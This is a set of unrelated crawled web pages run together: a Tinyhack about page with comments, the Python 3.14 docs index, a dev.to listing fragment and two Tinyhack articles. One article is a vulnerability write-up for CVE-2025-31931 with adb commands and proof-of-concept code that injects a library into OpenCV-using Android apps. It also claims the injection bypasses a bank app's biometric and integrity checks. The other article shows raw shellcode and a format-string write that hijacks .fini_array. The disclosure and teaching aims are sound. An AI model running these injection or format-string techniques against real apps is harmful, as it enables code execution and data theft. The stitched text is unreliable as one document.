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https://tinyhack.com/about/ | About – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. About My name is Yohanes Nugroho, I am an Indonesian programmer in a Software Company in Chiang Mai. In my spare time, I like to do programming. I have written many free and opensource software for many platforms . 31 thoughts on “About” Namik Tirak says: July 12, 2008 at 11:14 pm Hi, I have a FT3563-BT . I want to using debian on NAS like you. Can you make a frimware “xxxx.bin” to upgrade. Namik Best Regards. Reply gh1f4r says: July 22, 2008 at 11:20 am ” In my spare time, I like to do programming ” Luar biasa hobby-nya 🙂 Kapan aku bisa berguru ? Reply [email protected] says: July 22, 2008 at 6:25 pm need to know much about brontok..aomeone who know about brontok pls email me… Reply Wutipong W. says: August 15, 2008 at 1:31 am Hi, Your works with Agestar’s NAS is really interesting. I’ve just purchase one today and I’m thinking about trying to install Linux to it (would love to see it runs Gentoo). I’m a programmer too, but I don’t have much experience programing open source stuff (especially Linux). How’s the whether in Chaing Mai, it’s quite hot with rain in Bangkok. I’m looking for a chance to visit Chaing Mai some time :). Reply Silvina says: August 17, 2008 at 1:56 am Hi, I’m Silvina. I’ve used msgexport from march to july without a problem, you give me the solution for a big problem : to store my sms in a unique file. But I had a problem, I’ve updated my n95’s firmware to the last version, and I tryied to install the application once again and it gives me a certificate error. What can I do? Greetings, and thanks once again for the application. Silvina. Reply pebbie says: August 19, 2008 at 4:52 pm 😀 baru baca yang tentang kritik teknis Nusa.. 😀 ternyata ada yang nanggapin serius.. Reply yohanes says: August 19, 2008 at 9:45 pm @Wutipong: the weather is fine here. Many rains. I hope you have a good luck with your install. @Silvina: try redownloading the latest version. Reply zz says: September 24, 2008 at 11:47 am Try This product I think it better than AgeStar http://www.final4u.com/store/35-inch-hdd-nas-with-print-server-and-bit-torrent-p-9228.html Reply yohanes says: September 24, 2008 at 1:24 pm Hi zz What do you mean by better? I can’t find any review for it (or even the official product page for it), and from the specification, I think it has the same feature as Agestar. Reply zz says: September 24, 2008 at 10:20 pm I think it too.. , I cannot found any more information too.. I’m using NSLU2 , It very slow to run debian-arm,I think it not much ram to run , same Agestar ( ram 32 / flash 8) Reply zz says: September 25, 2008 at 6:23 pm Sorry I just saw real product I think performance same Agestar it using ram v58c2256164 and flash EN29LV640H Reply anacron says: October 2, 2008 at 5:47 pm Hello, I was just thinking with your agestar hacking, Which is really awesome job btw, is there a possibility to attach another drive or printer in agestar with the regular firmware, but when running debian, can it be used as a normal usb-port? can you attach any usb-device to it (of course which is supported by debian and the kernel) I had this idea, what if I would put a usb soundcard to it, I could have really small remote mp3-player in my livingroom, which could be controlled by any computer, that would be really nice, but as well if it would support other stuff as well, like bluetooth and such, it would make have debian in agestar much more usefull. Greetings from Finland Reply yohanes says: October 2, 2008 at 10:09 pm Hello, I was just thinking with your agestar hacking, Which is really awesome job btw, is there a possibility to attach another drive or printer in agestar with the regular firmware, but when running debian, can it be used as a normal usb-port? With the debian firmware, you can still use agestar as normal USB port (but you should shut it down using the shutdown command to make sure that all cache have been written to disk). can you attach any usb-device to it (of course which is supported by debian and the kernel) I had this idea, what if I would put a usb soundcard to it, I could have really small remote mp3-player in my livingroom, which could be controlled by any computer, that would be really nice, but as well if it would support other stuff as well, like bluetooth and such, it would make have debian in agestar much more usefull. Greetings from Finland Theoretically you should be able to attach any USB device to agestar, I only tried using USB to network adapter when developing the network driver and several USB disk, and everthyng works fine Regarding your idea about audio, because NSLU2 is a little bit more powerful (little bit faster, same memory) compared to Agestar, I look around to see if someone else has done it before. From the information in here: http://www.hermann-uwe.de/blog/playing-audio-on-the-nslu2 I tried madplay, and because i don’t have a USB audio device, i tried writing to device NULL, and it took 1 minute 5 seconds to decode a music file of 4 minutes 11 seconds. I also tried writing the decoded mp3 to file and it took 1 minute 36 seconds to decode. The decoding time is much faster than real time, so it seems the CPU in the Agestar is powerful enough to play MP3. (note: i also tried mplayer, and as he said it doesn’t work) Reply Bruce M Simpson says: October 14, 2008 at 3:41 pm I received a reply from Cavium about the STR9104. There are downloadable GPLed materials here: http://www-hk.linksys.com/servlet/Satellite?c=L_Content_C1&childpagename=HK%2FLayout&cid=1145862125829&pagename=Linksys%2FCommon%2FVisitorWrapper See under WAP4400N. cheers and keep on hacking… BMS Reply yohanes says: October 17, 2008 at 12:55 pm Hi Bruce thanks for the information, Yes, i found the source for WAP4400N when i started hacking Agestar, but there was some part missing from the Agestar kernel. Their kernel is based on Linux 2.4, and I have managed to port it to kernel 2.6. Reply nico says: November 16, 2008 at 10:20 pm hi yohanes, dari IF itb ya? masuk tahun berapa? aku 88 met kenal ya…. Reply nklogo says: March 12, 2009 at 10:18 pm link http://kildall.apana.org.au/~cjb/wordpress/archives/258 dead i want a serial port circuit Reply anacron says: July 17, 2009 at 4:21 am Sup! I’ve been trying to use agestar with cf to ide adapters and today with sd to ide adapter and with no luck, I wonder do you know if this is something related to the device itself, or maybe with kernel or something? It doesn’t boot up, correctly, I can’t get the ssh to work. When I plug the real harddrive in, it works like a charm. Reply Rubik2k says: September 3, 2009 at 10:22 am Hi Yohanes, You can found the GPL source for Procare eShare / Fibrionics F-Share (a very similar hardware based in STR9104 SoC), based on Linux 2.4.27, here: ftp://ftp.pearl.de/treiber/PX2019_12_80124.zip Best regards, Rubik2k at gmail dot com Reply ej says: October 10, 2009 at 1:44 am how do i buy the keyboard for wii? Reply kasaweb says: October 25, 2009 at 10:03 pm Hi, I’m trying to get my hand on “WELLAND ME-747AN-S”, a HDD NAS Enclosure with some wonderful spec (266MHz, 128MB RAM, 128M NAND Flash). I had no luck searching for a reseller that can ship to where I live, but I’m not giving up yet 🙂 My question was : How can I browse the content of a Yaffs2 partition image ? Because I found the firmware of this device, and I wanted to see how they configured it. Is there a way to do this without a real NAND Flash device ? Reply akamenov says: January 2, 2010 at 11:26 pm Hello. Maybe you can help me as there is no information on the NSB3AHT except for your site. In a foolish attempt to reset the device I’ve turned the device on while pressing the reset button. Now the network connectivity doesn’t work — it turns on for 3-4 seconds after device boot and then off. Is there any way to fix the device without connecting to the serial port? Reply joe says: April 21, 2010 at 5:39 pm thanks very much for the Bible apps that you did for free!!! i hope you do more Bible apps like dictionary & study books in the near future. pls notify me if you have done already. I use P1i. tyvm! [email protected] Reply James Mowery says: June 23, 2010 at 9:16 am Hello, I was wondering if you accept guest post for your blog. If you do, I would like to submit a few. You can see a sample of my work at LaptopComputers.org under the author James Mowery. I’ve also written for several high-profile blogs like Mashable, Perfromancing, and CMSWire. Thank you for your time. – James Reply Milan says: November 24, 2010 at 2:47 pm Dear Yohanes, I have one custom application to be make, I was wondering if you can make 1 for us. Pls contact as i m not having your contact details. Reply Mike says: August 29, 2011 at 2:16 am Hello Yohanes, I just got Tiny Meter for my Blackberry 9700. Very nice. One question I have is that when I first started the app, it asked for access to the Phone and won’t run if I don’t let it have access. I don’t understand why it needs Phone access. Can you explain? Thanks! Reply Marin says: December 28, 2011 at 9:39 pm Hi mate, I recently bricked my NAS device with CAVIUM CNS-2183 processor. Is there any way to flash it to his old img file? I cant find datasheet with explanation how to flash it and I see that you do something with it so if you have answer pls contact me with solution 🙂 Tnx Reply Ahmed says: January 3, 2012 at 8:46 pm Hi .. i was looking on google , how to root my device Acer betouch e130 and i found ur topic and i couldn’t understand much , right now i only need to ask you … if i can root my phone and how cos there is no app can root it and how i can the other stuff u tested on the phone 😀 waiting for your replay .. please add my Email [email protected] i really need your help , thanks in advance Reply roberto kaban says: March 24, 2014 at 4:11 am sangat lengkap sekali pembahasannya tentang Nusa. Reply zac mitchell says: April 12, 2014 at 10:24 pm hello I’ve enjoyed your emulator on wii. its great. recently I’ve tried to load a hard disk image called silverncastle. I can’t not for the life of me figure out how to load the file. I’ve shift f3. a fellow said maybe I had to load pro dos. please help iam very lost and confused and spent many hours trying to figure out how to load it. Reply Eitan Porat says: July 5, 2025 at 6:27 pm claude sends you here! it creates https://your-web-app-url.com/auth lol Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:48:55 |
https://docs.python.org/3.14/ | 3.14.2 Documentation Theme Auto Light Dark Download Download these documents Docs by version Python 3.15 (in development) Python 3.14 (stable) Python 3.13 (stable) Python 3.12 (security-fixes) Python 3.11 (security-fixes) Python 3.10 (security-fixes) Python 3.9 (EOL) Python 3.8 (EOL) Python 3.7 (EOL) Python 3.6 (EOL) Python 3.5 (EOL) Python 3.4 (EOL) Python 3.3 (EOL) Python 3.2 (EOL) Python 3.1 (EOL) Python 3.0 (EOL) Python 2.7 (EOL) Python 2.6 (EOL) All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide Navigation index modules | Python » 3.14.2 Documentation » | Theme Auto Light Dark | Python 3.14.2 documentation Welcome! This is the official documentation for Python 3.14.2. Documentation sections: What's new in Python 3.14? Or all "What's new" documents since Python 2.0 Tutorial Start here: a tour of Python's syntax and features Library reference Standard library and builtins Language reference Syntax and language elements Python setup and usage How to install, configure, and use Python Python HOWTOs In-depth topic manuals Installing Python modules Third-party modules and PyPI.org Distributing Python modules Publishing modules for use by other people Extending and embedding For C/C++ programmers Python's C API C API reference FAQs Frequently asked questions (with answers!) Deprecations Deprecated functionality Indices, glossary, and search: Global module index All modules and libraries General index All functions, classes, and terms Glossary Terms explained Search page Search this documentation Complete table of contents Lists all sections and subsections Project information: Reporting issues Contributing to docs Download the documentation History and license of Python Copyright About the documentation Download Download these documents Docs by version Python 3.15 (in development) Python 3.14 (stable) Python 3.13 (stable) Python 3.12 (security-fixes) Python 3.11 (security-fixes) Python 3.10 (security-fixes) Python 3.9 (EOL) Python 3.8 (EOL) Python 3.7 (EOL) Python 3.6 (EOL) Python 3.5 (EOL) Python 3.4 (EOL) Python 3.3 (EOL) Python 3.2 (EOL) Python 3.1 (EOL) Python 3.0 (EOL) Python 2.7 (EOL) Python 2.6 (EOL) All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide « Navigation index modules | Python » 3.14.2 Documentation » | Theme Auto Light Dark | © Copyright 2001 Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jan 13, 2026 (06:19 UTC). Found a bug ? Created using Sphinx 8.2.3. | 2026-01-13T08:48:55 |
https://tinyhack.com/2025/11/09/cve-2025-31931-arbitrary-shared-library-loading-in-intel-itt-api-on-android-affects-opencv-4-10/ | CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Intel® Instrumentation and Tracing Technology (ITT) is a profiling API that developers use to analyze performance. The ITT library is available for many platforms. It used by many Android applications, either directly, or indirectly (e.g: via precompiled OpenCV library for Android officially downloaded from OpenCV website). Intel advisory is here: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01337.html A bug was found that allows ITT to load arbitrary shared library. This shared library can do anything (executing arbitrary code, exfiltrating data, etc). Fortunately the exploitation is not that easy (requires adb access either via PC or Shizuku app, so remote exploitation should not be possible). POC is available on my github, but read on to understand this bug. OpenCV copies all ITT API files verbatim to their 3rdparty/ittnotify directory. ITT is always built for Android platform (can’t be disabled via CMake config): OCV_OPTION(BUILD_ITT "Build Intel ITT from source" (NOT MINGW OR OPENCV_FORCE_3RDPARTY_BUILD) IF (X86_64 OR X86 OR ARM OR AARCH64 OR PPC64 OR PPC64LE) AND NOT WINRT AND NOT APPLE_FRAMEWORK ) Any Android application using OpenCV up until 4.10 is affected, 4.11 and later are safe. There is no warning about this CVE in OpenCV because they were released before this CVE was published and they have accidentally fixed the bug (see this ) because someone wants to support OpenBSD (“ 3rdparty/ittnotify had not been updated until 9 years. To support OpenBSD, I suggest to update to latest release version v3.25.4 “) How I found the bug I didn’t find this bug through source code review or fuzzing, I found this while doing a pentest on an internal application used by a bank. They asked me to specifically check the third party library they use for liveness detection (lets call this library X) because they plan to use it for their public app. When reverse engineering the library, I found that it it uses dlopen and can load an arbitrary library specified in /data/local/tmp/com.intel.itt.collector_lib_64 . The vulnerable old code can be seen here in function static const char* __itt_get_lib_name(void) . First it constructs a string by concatenating /data/local/tmp with com.intel.itt.collector_lib_64 for android 64 bit or com.intel.itt.collector_lib_32 for Android 32 bit. Then it will read the content of the file. From the source code, it is not very clear that this code will load arbitrary library It is much more visible when the code is compiled, then disassembled: param1 is assigned value from __itt_get_lib_name And then it is assigned to pcVar2 , then it is loaded using dlopen You can see the fix by looking at this commit . They completely remove the functionality, so the fix is complete. At first I thought that this is a bug in the library X itself, then after searching on github, I found that it was from Intel ITT. After further investigation, library X doesn’t use ITT library directly, it was from OpenCV that they use. The default statically linked OpenCV library was vulnerable. After having a slight problem reporting this bug to Intel last year, they finally accepted it and gave me 1500 USD. To save everyone’s time: if you have a bug in their open source component, report it via intigriti . I found out later that many other app by the same bank also used OpenCV with the same bug. Exploiting The Bug To test that we can really load an arbitrary .so, i tried loading a library from /data/local/tmp , it doesn’t work because of SELinux. After reading The Mystique exploit (2002) , i realized that: android allows loading a shared library from *any* app if we know the path. So to test, we need: A vulnerable app (The very first OpenCV from version 4.10: Camera Preview example is enough) An app containing dynamic library to load (the exploit app, we need to code this), with extractNativeLibs set to true (see my other post if you need to know why). After installing both apps, we need to know where our exploit app is located: adb shell pm path com.tinyhack.cve_2025_31931 This will print path to base.apk, we just need to replace base.apk with lib/arm64/lib_cve_2025_3191.so . Then we create /data/local/tmp/com.intel.itt.collector_lib_64 using adb shell echo -n /data/xxx/yyyy/lib/arm64/lib_cve_2025_3191.so > /data/local/tmp/com.intel.itt.collector_lib_64 Please note: use -n to prevent newline inside the file make sure path is correct make sure filename exactly as mentioned ( com.intel.itt.collector_lib_64 ) A simple Proof Of Concept (POC) To perform an action when a library is loaded, we can write a simple code: #include <stdio.h> #include <android/log.h> #include <unistd.h> __attribute__((constructor)) extern "C" void myinit() { printf("JOE-INJECT Library loaded"); __android_log_print(ANDROID_LOG_VERBOSE,"JOE-INJECT", "Library Loaded"); } If the library is loaded, then we will see JOE-INJECT Library Loaded using adb logcat . A better POC I extended the POC to do several things: Get current package name of the android app, this is done by reading /proc/self/cmdline so we know for sure *which* app is vulnerable We want to report this for any vulnerable app: I used to methods: via telegram bot, and via Android toast The telegram method doesn’t work if the app doesn’t have internet access permission (such as the opencv samples), so thats why I added the Toast method. POC To be able to show a toast, we will need to use JNI Api. To be able to use JNI, we need access to JNIEnv, and to get this, we need it from the JavaVM. For API Level 31, we can directly use JNI_GetCreatedJavaVMs (see this Stack Overflow question ). To make it work on previous android versions we can use : typedef jint (*JNI_GetCreatedJavaVMs_t)(JavaVM **vmBuf, jsize bufLen, jsize *nVMs); JNI_GetCreatedJavaVMs_t JNI_GetCreatedJavaVMs_ = (JNI_GetCreatedJavaVMs_t)dlsym(dalvik, "JNI_GetCreatedJavaVMs"); jsize nVMs = 0; JavaVM* buffer[1]; buffer[0] = 0; JNI_GetCreatedJavaVMs_(buffer, 1, &nVMs); POC is available here: https://github.com/yohanes/POC-CVE-2025-31931 To make it easy for anyone to test, you can use precompiled one on the release tab. The precompiled one doesn’t have telegram API key set, so it will only display a toast. You can recompile the library (or hex patch the .so) to use your telegram key Instruction: install the app launch the app, copy the nativelib file path using copy button using adb, create the /data/local/tmp/com.intel.itt.collector_lib_64 , fill the content with the path we got launch test vulnerable app, it should show a toast Example vulnerable app Impact The impact of this bug is usually limited because exploitation is not easy, we need to: Have adb access via PC, or have access to Shizuku (if the user installed this, and we are allowed by the user) Have the library loaded. In my case: the library wasn’t loaded until we do face verification But once you can drop this library, and created the /data/local/tmp/com.intel.itt.collector_lib_64 , then you suddenly can exfiltrate any data or run arbitrary code from all affected apps installed (not just targeting a single app). In my case the bank considers that my exploit has high severity because of several reasons: I was able to inject arbitrary code that can bypass their biometric relatively easily (no rooted phone needed). I can bypass their RASP ( Runtime Application Self-Protection ) that checks for various injection tools/libraries (such as Frida, LSPosed, Zygisk, etc) It can bypass Play Integrity check It is persistent (works even after reinstalling the vulnerable app, works after full Android reboot) It works in any Android version Happy Bug Hunting For bug hunters: there are quite a lot of Android apps out there using OpenCV. By installing the POC and setting up the /data/local/tmp/com.intel.itt.collector_lib_64 , you just need to wait until one of the app that you use loads the library. You may get a bug bounty for important apps. If you do get some bounties, please consider helping my friend’s gofundme for her cancer treatment . For developers: if you are using OpenCV on Android, update your OpenCV version ASAP. Author admin Posted on November 9, 2025 November 11, 2025 Categories android , mobile , reverse-engineering , security , writeup Tags include Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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Right menu PLI 7.10 - Bypassing AI Knowledge Cutoffs with Auto-Data Synthesis seridarivus 13 seridarivus 13 seridarivus 13 Follow Jan 10 PLI 7.10 - Bypassing AI Knowledge Cutoffs with Auto-Data Synthesis # ai # devops # api # tdd 1 reaction Comments Add Comment 1 min read 20 Plus AI Coding Tools for Dev Workflows in 2026 Devin Rosario Devin Rosario Devin Rosario Follow Jan 7 20 Plus AI Coding Tools for Dev Workflows in 2026 # ai # devops # opensource # programming Comments Add Comment 6 min read I’m Not Technical But I’m Rebuilding Random Video Chat by Fixing the Parts Code Never Touched mark gjura mark gjura mark gjura Follow Jan 2 I’m Not Technical But I’m Rebuilding Random Video Chat by Fixing the Parts Code Never Touched # ai # devops # games Comments Add Comment 3 min read Solved: Understanding PPC Management — What Are the Most Important Factors Today? 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(Spoiler: The UI took 10 mins, the Physics took 2 days) # ai # devops 4 reactions Comments Add Comment 2 min read Blackbox Testing Techniques Every QA Engineer Should Know Sophie Lane Sophie Lane Sophie Lane Follow Dec 11 '25 Blackbox Testing Techniques Every QA Engineer Should Know # devops # softwaretesting # blackboxtesting 25 reactions Comments Add Comment 3 min read Krish Naik: Now Running MCP Server Is Easy With Docker MCP Toolkit Vibe YouTube Vibe YouTube Vibe YouTube Follow Oct 30 '25 Krish Naik: Now Running MCP Server Is Easy With Docker MCP Toolkit # docker # devops # opensource 3 reactions Comments Add Comment 1 min read Using NVIDIA NeMo Agent Toolkit to improve data sync processes Andrii Siryi Andrii Siryi Andrii Siryi Follow Oct 28 '25 Using NVIDIA NeMo Agent Toolkit to improve data sync processes # ai # api # devops Comments Add Comment 2 min read Help Me Build the Future: Test My AI Developer Kit (Free Product Inside) yassine bout yassine bout yassine bout Follow Nov 13 '25 Help Me Build the Future: Test My AI Developer Kit (Free Product Inside) # ai # devops # api # chatgpt 10 reactions Comments 6 comments 2 min read I Built 25 AI Tools for Python Devs—Here's What I Learned yassine bout yassine bout yassine bout Follow Nov 13 '25 I Built 25 AI Tools for Python Devs—Here's What I Learned # ai # devops # opensource # api 7 reactions Comments 1 comment 2 min read Build your tribe - why building with others changes everything Karina Egle Karina Egle Karina Egle Follow Nov 6 '25 Build your tribe - why building with others changes everything # ai # devops # chatgpt # openai Comments Add Comment 3 min read How to Vibe Code an App in 4 Easy Steps Karina Egle Karina Egle Karina Egle Follow Oct 30 '25 How to Vibe Code an App in 4 Easy Steps # ai # devops # opensource # openai 2 reactions Comments 2 comments 3 min read Next-Gen AI for Developers: Assistant Engine Assistant Engine Assistant Engine Assistant Engine Follow Oct 23 '25 Next-Gen AI for Developers: Assistant Engine # ai # devops # opensource # dotnet Comments Add Comment 2 min read The Creative Flow: Vibe Coding Tools and the Human Element on October 13, 2025 Om Shree Om Shree Om Shree Follow Oct 13 '25 The Creative Flow: Vibe Coding Tools and the Human Element on October 13, 2025 # ai # cloud # devops # opensource 16 reactions Comments 1 comment 3 min read Mid-October 2025 AI Software Development News Roundup: Tools, Trends, and Breakthroughs Om Shree Om Shree Om Shree Follow Oct 12 '25 Mid-October 2025 AI Software Development News Roundup: Tools, Trends, and Breakthroughs # ai # cloud # devops # opensource 21 reactions Comments Add Comment 4 min read Top Common AI Integration Errors in Android Apps and How to Fix Them Shubham Joshi Shubham Joshi Shubham Joshi Follow Oct 12 '25 Top Common AI Integration Errors in Android Apps and How to Fix Them # ai # devops # api Comments Add Comment 5 min read # Building CodeGenie: A Local AI Coding Agent (100% Offline & Private). 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23565 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" 